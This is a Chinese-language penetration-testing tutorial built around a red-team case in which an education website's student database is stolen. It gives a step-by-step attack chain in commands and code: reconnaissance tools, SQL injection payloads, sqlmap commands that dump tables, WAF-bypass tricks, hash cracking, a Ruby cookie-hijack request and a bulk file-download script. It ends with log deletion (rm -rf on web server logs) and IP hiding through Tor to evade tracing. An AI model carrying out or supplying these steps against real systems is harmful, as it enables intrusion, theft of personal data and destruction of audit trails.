一、真实案例:从简单测试到全面攻陷
某教育机构网站由于疏于管理,其后台登录页面数次被爆出存在严重的漏洞。一次红队模拟测试中,我们发现该网站不仅存在经典的SQL注入,还暴露了多个信息泄露点,这些漏洞最终被链式利用,导致数据库中所有学生信息被窃取。本文将以这个案例为引,带你全面复现如何使用工具和技术解决类似问题。
二、信息收集:找到突破口
在渗透过程中,信息收集是第一步。这决定了后续攻击是否顺利进行。对于目标网站,我们需要从以下几个角度入手。
1. 网站目录和子域名枚举
使用 Subfinder 和 Amass 枚举目标子域名: <pre><code class="language-bash"># Subfinder快速枚举 subfinder -d example.com -o subdomains.txt
Amass深度扫描
amass enum -passive -d example.com -o subdomains_amass.txt

合并结果去重
cat subdomains.txt subdomains_amass.txt | sort | uniq > final_subdomains.txt</code></pre>

接着使用 httpx 验证存活: <pre><code class="language-bash">httpx -l final_subdomains.txt -o alive_subdomains.txt</code></pre>
2. 开放端口扫描
快速发现开放端口: <pre><code class="language-bash">nmap -sS -Pn -T4 -p- example.com -oN ports_scan.txt</code></pre>
重点关注 80、443、8080 等常用Web服务端口。
3. 敏感文件爬取
使用 dirsearch 扫描可能存在的敏感文件: <pre><code class="language-bash">python3 dirsearch.py -u https://example.com -e php,asp,aspx,txt,sql,log -t 20</code></pre>
重点关注: robots.txt、/.git/、/.env 等目录,可能会泄露服务器配置或密码。
三、SQL注入:撬动大门
目标网站的登录功能无参数过滤,存在经典的SQL注入漏洞。以下是利用过程。
1. 手工验证注入点
通过浏览器提交以下测试语句: <pre><code class="language-sql">' OR 1=1 --</code></pre> 如果页面正常登录,说明可能存在注入。接着使用 union select 枚举列数: <pre><code class="language-sql">' UNION SELECT 1,2,3 --</code></pre> 调整列数直到页面不报错。
2. 自动化工具利用
工具 sqlmap 是SQL注入的首选: <pre><code class="language-bash">sqlmap -u "https://example.com/login.php?username=admin&password=123456" --dbs</code></pre>
列出数据库后,选择目标数据库: <pre><code class="language-bash">sqlmap -u "https://example.com/login.php?username=admin&password=123456" -D target_db --tables</code></pre>
导出敏感数据: <pre><code class="language-bash">sqlmap -u "https://example.com/login.php?username=admin&password=123456" -D target_db -T sensitive_table --dump</code></pre>
3. 绕过WAF的技巧
面对较为严格的WAF,可以尝试以下绕过方式:
- 编码绕过:使用URL编码或Base64编码提交参数。
- 注入语句混淆:利用空格替换、注释插入等方式绕过规则。
- 延时注入:通过
AND SLEEP(5)等语句检测盲注。
四、权限提升:从普通用户到管理员
通过SQL注入,我们已经获取了部分数据库权限,但接下来我们需要进一步提升权限。
1. 获取管理员密码
检查数据库中是否存储管理员用户名及加密密码。若密码为明文,则直接使用;若为散列值,可使用 hashcat 破解: <pre><code class="language-bash"># MD5破解示例 hashcat -m 0 hash.txt rockyou.txt</code></pre>
2. Cookie劫持绕过权限限制
许多系统通过Cookie验证身份。利用Burp Suite拦截合法用户登录的Cookie,将其伪造注入: <pre><code class="language-ruby">require 'net/http'
uri = URI('https://example.com/admin') http = Net::HTTP.new(uri.host, uri.port) request = Net::HTTP::Get.new(uri.path, {'Cookie' => 'session=valid_admin_cookie'}) response = http.request(request)
puts response.body</code></pre> 如果返回页面内容为管理员界面,则劫持成功。
五、数据窃取:提取核心信息

通过权限提升,我们已成功登录管理员后台,接下来是数据提取。
1. 批量下载文件
使用Ruby编写脚本快速下载敏感文件: <pre><code class="language-ruby">require 'net/http'
urls = [ "https://example.com/secrets/important_file1.txt", "https://example.com/secrets/important_file2.txt", ]
urls.each do |url| uri = URI(url) response = Net::HTTP.get(uri) File.write(File.basename(uri.path), response) end</code></pre>
2. 数据库备份下载
如果后台提供数据库备份功能,可直接下载 .sql 文件。
六、痕迹清除:防止追踪
若目标环境开启日志记录或行为监控,需及时清理痕迹。
1. 日志删除
通过命令行清空日志: <pre><code class="language-bash">rm -rf /var/log/nginx/ rm -rf /var/log/apache2/</code></pre>
2. 隐匿访问源IP
使用Tor或代理池: <pre><code class="language-bash">proxychains curl https://example.com</code></pre>
通过上述方法,我们完成了从信息收集到最终目标的全流程攻破。
七、个人心得:攻防对抗的艺术
在渗透测试中,工具固然重要,但更重要的是思维方式。不要局限于某个工具或漏洞,而是要学会从整体角度分析目标的攻击面。掌握关键技术的同时,多积累实战经验,才能真正实现攻防对抗的艺术。